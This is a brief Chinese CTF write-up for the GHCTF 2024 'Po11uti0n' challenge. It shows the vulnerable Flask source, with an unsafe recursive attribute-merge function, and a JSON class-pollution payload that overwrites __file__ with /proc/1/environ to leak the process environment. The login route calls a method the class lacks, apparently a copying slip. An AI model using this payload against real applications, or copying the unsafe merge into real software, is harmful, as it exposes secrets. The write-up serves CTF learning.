[GHCTF 2024 新生赛]Po11uti0n~~~ python原型链污染
上来直接给了源码。
点击查看代码
import uuid
from flask import Flask, request, session
from secret import black_list
import json
'''
@Author: hey
@message: Patience is the key in life,I think you'll be able to find vulnerabilities in code audits.
* Th3_w0r1d_of_c0d3_1s_be@ut1ful_ but_y0u_c@n’t_c0mp1l3_love.
'''
app = Flask(__name__)
#随机生成key
app.secret_key = str(uuid.uuid4())
#定义了类似waf的函数
def cannot_be_bypassed(data):
#循环black_list列表
for i in black_list:
#判断如果黑名单里值在用户提交的数据里就返回False
if i in data:
return False
return True
#接收了两个参数,src和dst
def magicallllll(src, dst):
#判断dst是否具有__getitem__属性,该属性用于实现对象的索引访问。当对象具有该属性时,可以通过访问列表的形式访问对象的属性
if hasattr(dst, '__getitem__'):
#循环src
for key in src:
#遍历src,如果src中的值是字典类型,则遍历src的键
if isinstance(src[key], dict):
#如果对应的数值依旧是字典类型,并且在dst中存在相同的键且对应的值也是字典类型,就递归调用magicallllll函数
if key in dst and isinstance(src[key], dict):
magicallllll(src[key], dst[key])
else:
#如果src里的值不是字典类型,就将src中的值对应赋值给dst中的对应键
dst[key] = src[key]
else:
#如果src里的值不是字典类型,就将src中的值对应赋值给dst中的对应键
dst[key] = src[key]
else:
#如果dst不具有__getitem__属性,就会进入到这个里面
#针对src生成键值对
for key, value in src.items() :
#如果dst存在相同键并且对应的值是字典类型,就递归调用magicallll函数
if hasattr(dst,key) and isinstance(value, dict):
magicallllll(value,getattr(dst, key))
#否则将src的键值赋值给dst中的属性
else:
setattr(dst, key, value)
class user():
#初始化username和password
def __init__(self):
self.username = ""
self.password = ""
pass
def check(self, data):
#判断用户提交的username和password是否和类中存储的用户名和密码相同
if self.username == data['username'] and self.password == data['password']:
return True
return False
#定义一个空列表
Users = []
#用户的注册函数
@app.route('/user/register',methods=['POST'])
def register():
#判断用户提交的数据是否为空
if request.data:
try:
#检查请求的数据是否包含了恶意的数据
if not cannot_be_bypassed(request.data):
return "Hey bro,May be you should check your inputs,because it contains malicious data,Please don't hack me~~~ :) :) :)"
#将请求的数据转换成了json格式
data = json.loads(request.data)
#判断username和password是否在转换后的json数据里
if "username" not in data or "password" not in data:
return "Ohhhhhhh,The username or password is incorrect,Please re-register!!!"
User = user()
#调用magicallll函数,将解析后键值对形式的数据data赋值到User对象中
magicallllll(data, User)
#然后将注册成功后的用户信息存储到Users列表中
Users.append(User)
except Exception:
return "Ohhhhhhh,The username or password is incorrect,Please re-register!!!"
return "Congratulations,The username and password is correct,Register Success!!!"
else:
return "Ohhhhhhh,The username or password is incorrect,Please re-register!!!"
@app.route('/user/login',methods=['POST'])
def login():
if request.data:
try:
data = json.loads(request.data)
if "username" not in data or "password" not in data:
return "The username or password is incorrect,Login Failed,Please log in again!!!"
for user in Users:
if user.cannot_be_bypassed(data):
session["username"] = data["username"]
return "Congratulations,The username and password is correct,Login Success!!!"
except Exception:
return "The username or password is incorrect,Login Failed,Please log in again!!!"
return "Hey bro,May be you should check your inputs,because it contains malicious data,Please don't hack me~~~ :) :) :)"
@app.route('/',methods=['GET'])
def index():
return open(__file__, "r").read()
if __name__ == "__main__":
app.run(host="0.0.0.0", port=8080)
点击查看代码
def merge(src, dst):
# Recursive merge function
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)
点击查看代码
{"username":"abc","password":"123","__class__":{"check":{"__globals__":{"__file__":"/proc/1/environ"}}}}